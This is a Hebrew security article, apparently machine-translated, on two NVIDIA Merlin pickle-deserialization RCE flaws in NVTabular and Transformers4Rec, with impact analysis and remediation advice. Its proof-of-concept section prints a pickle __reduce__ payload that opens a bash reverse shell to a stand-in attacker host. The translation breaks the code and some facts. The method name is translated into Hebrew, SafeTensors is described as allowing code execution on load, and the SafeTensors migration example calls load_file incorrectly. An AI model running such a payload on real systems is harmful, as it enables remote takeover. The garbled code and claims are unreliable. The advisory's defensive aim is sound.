כותרת Penligent

פגיעויות NVIDIA Merlin RCE (CVE-2025-33214 ו-CVE-2025-33213) ניתוח מעמיק ופתרון

תשתית ה-AI ניצבת בפני אתגר אבטחה חמור. NVIDIA Merlin, המסגרת הסטנדרטית בתעשייה לבניית מערכות המלצה בעלות ביצועים גבוהים בקנה מידה גדול, נמצאה מכילה שני ביצוע קוד מרחוק (RCE) נקודות תורפה.

עקבתי אחרי CVE-2025-33214 ו CVE-2025-33213, פגמים אלה נמצאים ב NVTabular ו Transformers4Rec ספריות. הן נובעות מחולשה בסיסית בטיפול בנתונים ב-Python: דה-סריאליזציה לא מאובטחת (CWE-502).

תוקפים יכולים לנצל פגמים אלה כדי לפגוע באשכולות GPU, להרעיל מודלים של בינה מלאכותית או להוציא מאגרי נתונים קנייניים, פשוט על ידי גרימת מערכת לטעון קובץ תצורה זדוני או נקודת ביקורת של מודל. מאמר זה מספק ניתוח טכני של מנגנון הניצול, ההשפעה על צינורות MLOps ואסטרטגיית תיקון חובה.

פגיעויות RCE ב-NVIDIA Merlin

מטריצת הפגיעות: מה מושפע?

הפגיעות משפיעות על האופן שבו רכיבי Merlin מטפלים בסידור נתונים — ובפרט על השימוש ב- מלפפון חמוץ מודול בעת טעינת ארטפקטים מהדיסק.

רכיבמזהה CVEסוג הפגיעותחומרהפונקציונליות מושפעת
NVTabularCVE-2025-33214דה-סריאליזציה לא מאובטחתקריטיטעינת אובייקטי Workflow שנשמרו באמצעות Workflow.load()
Transformers4RecCVE-2025-33213דה-סריאליזציה לא מאובטחתקריטיטעינת נקודות ביקורת מודל ותצורות אימון

לשתי הפגיעויות יש ציון CVSS הנע סביב 9.8, מה שמעיד על כך שניתן לנצל אותם מרחוק (אם מקור הקובץ הוא מרוחק) או מקומית, ללא צורך באימות, וכתוצאה מכך לפגיעה מוחלטת במערכת.

אנטומיה טכנית: כאשר החמצה הופכת לרעל

להבין למה CVE אלה מסוכנים כל כך, שעלינו לנתח את המנגנון הבסיסי של ההתקפה: Python’s מלפפון חמוץ פורמט סידוריות.

הבעיה של "החמוצים"

פגיעויות NVIDIA Merlin RCE (CVE-2025-33214 ו-CVE-2025-33213) ניתוח מעמיק ופתרון

בניגוד ל-JSON או CSV, שהם פורמטים המיועדים לנתונים בלבד, מלפפון חמוץ הוא מנוע מכונה וירטואלית מבוסס ערימה. הוא לא רק מאחסן נתונים, אלא גם הוראות כיצד לשחזר אובייקטים של Python.

הפגיעות טמונה ב __צמצום__ שיטה. כאשר Python מבטל את ה-pickle של אובייקט, אם האובייקט מגדיר __צמצום__, Python יבצע את הקריאה המוחזרת על ידי שיטה זו. תכונה זו, שנועדה לשחזור אובייקטים לגיטימי, מאפשרת לתוקפים להטמיע קוד בייט שרירותי.

ניתוח קוד ניצול (PoC קונספטואלי)

⚠️ כתב ויתור: הקוד הבא מיועד למטרות חינוכיות ולבדיקות הגנה בלבד.

בהקשר של NVTabular, תוקף יכול ליצור זרימת עבודה ספרייה. כאשר מדען נתונים או צינור MLOps אוטומטי טוען את זרימת העבודה הזו כדי לבצע פעולות ETL, המטען מופעל.

כך נראה מחולל מטען נשק:

פייתון

`import pickle import os

class MaliciousArtifact(object): def להפחית(self): # המטען: פקודה זו פועלת מיד לאחר ביטול הסידור. # בהתקפה אמיתית, זו תהיה מעטפת הפוכה או משואת C2. cmd = “bash -c ‘bash -i >& /dev/tcp/attacker-ip/4444 0>&1′” return (os.system, (cmd,))

יצירת הרעל

זה מדמה קובץ מודל או תצורת זרימת עבודה שנפגעו.

exploit_data = pickle.dumps(MaliciousArtifact())

ההדק

בתוך NVTabular או Transformers4Rec, קוד דומה לזה פועל:

לא מתבצעת אימות של תוכן הקובץ לפני ההפעלה.

pickle.loads(נתוני_ניצול)`

הווקטור Transformers4Rec

עבור Transformers4Rec (CVE-2025-33213), הסיכון לרוב מוסתר בתוך קבצי מודל PyTorch (.pt או .bin). מכיוון שמנגנוני השמירה הסטנדרטיים של PyTorch משתמשים ב- מלפפון חמוץ כברירת מחדל, כל מודל שהוכשר מראש והורד ממקור לא אמין (למשל, מאגר Hugging Face שנפרץ) יכול לשמש כסוס טרויאני.

ניתוח השפעה: מחיר הפשרה

מדוע זה צריך לעניין את מנהלי אבטחת המידע ומנהלי ההנדסה? מכיוון שצינורות Merlin פועלים על תשתית בעלת ערך גבוה.

א. חטיפת אשכולות GPU (Cryptojacking)

Merlin תוכנן עבור מעבדי NVIDIA A100/H100. אלה הם המשאבים הנחשקים ביותר לכריית מטבעות קריפטוגרפיים. RCE מאפשר לתוקפים להתקין כורים באופן סמוי, מה שעולה לחברות אלפי דולרים ביום בדמי מחשוב ענן.

ב. הרעלת שרשרת האספקה

אם תוקף פוגע בצינור האימון באמצעות NVTabular (שלב ETL), הוא יכול לשנות בעדינות את נתוני הקלט.

  • תוצאה: המודל לומד הטיות נסתרות או דלתות אחוריות (לדוגמה, "המלץ תמיד על מוצר ספציפי זה" או "התעלם מדגלים המעידים על הונאה עבור מזהה משתמש זה").

ג. תנועה לרוחב

לעתים קרובות, אשכולות אימון AI נהנים מגישה מיוחדת לאגמי נתונים (S3, Snowflake) ולמאגרי קוד פנימיים. צומת שנפרץ משמש כנקודת אחיזה מושלמת להתקדמות עמוקה יותר לתוך הרשת הארגונית.

אסטרטגיית תיקון: אבטחת צינור ה-AI

NVIDIA פרסמה תיקונים, אך תיקון אמיתי דורש שינוי באופן שבו הארגון שלכם מטפל בארטיפקטים של בינה מלאכותית.

שלב 1: תיקון מיידי (שלב "עצירת הדימום")

אמת את הגרסאות הנוכחיות שלך ושדרג מיד באמצעות פיפ או קונדה.

באש

`# עדכן את NVTabular לגרסה המתוקנת pip install –upgrade nvtabular

עדכן את Transformers4Rec לגרסה המתוקנת

pip install –upgrade transformers4rec`

אימות:

לאחר ההתקנה, בדוק את מספרי הגרסאות מול עלון האבטחה של NVIDIA כדי לוודא שאתה משתמש בגרסה מתאריך דצמבר 2025 או מאוחר יותר.

שלב 2: חיזוק ארכיטקטוני (שלב "אמון אפס")

1. מעבר ל-SafeTensors

התעשייה מתרחקת מ-Pickle. SafeTensors הוא פורמט סדרתי חדש שפותח על ידי Hugging Face, והוא מאובטח מעצם תכנונו. הוא מאחסן טנזורים כנתונים בלבד, מה שמאפשר ביצוע קוד במהלך הטעינה.

דוגמה להעברת קוד:

פייתון

`# ❌ פגיע (PyTorch/Pickle ישן) torch.save(model.state_dict(), “model.pt") model.load_state_dict(torch.load("model.pt“))

SECURE (SafeTensors)

מ-safetensors.torch ייבוא save_file, load_file

save_file(model.state_dict(), "model.safetensors") load_file(model, "model.safetensors")`

2. יישום סריקת מודלים

שלבו סורק בצינור ה-CI/CD או במאגר הדגמים שלכם. כלים כמו פיקלסקן יכול לנתח .pkl, .pt, ו .bin קובצי חתימות בייטקוד חשודות לפני שהם מורשים להיטען.

3. פילוח רשת (סינון יציאה)

סביבות ההדרכה שלכם לא צריכות להיות עם גישה חופשית לאינטרנט.

  • בלוק: כל התעבורה היוצאת כברירת מחדל.
  • אפשר: רק דומיינים ספציפיים ואמינים (למשל, מראות PyPI פנימיות, דליים S3 ספציפיים).
  • למה: זה מונע מ-reverse shell (כמו זה שב-PoC לעיל) להתחבר בחזרה לשרת ה-Command & Control של התוקף.

סיכום

החשיפה של CVE-2025-33214 ו-CVE-2025-33213 משמשת כקריאת השכמה לתעשיית ה-AI. אנחנו כבר לא יכולים להתייחס לקבצי מודלים ולזרימות עבודה של נתונים כאל נכסים סטטיים תמימים; הם קוד ביצועי.

ככל שה-AI משתלב עמוק יותר בפעולות עסקיות קריטיות, אבטחת צינור ה-MLOps חשובה לא פחות מאבטחת יישום האינטרנט עצמו.

תוכנית פעולה להיום:

  1. ביקורת: לרוץ רשימת pip על כל מיכלי האימון.
  2. תיקון: פרוס את הגרסאות האחרונות של NVIDIA Merlin.
  3. שינוי מבנה: התחל בתוכנית העבודה להחלפת Pickle ב-SafeTensors.
שתף את הפוסט:
פוסטים קשורים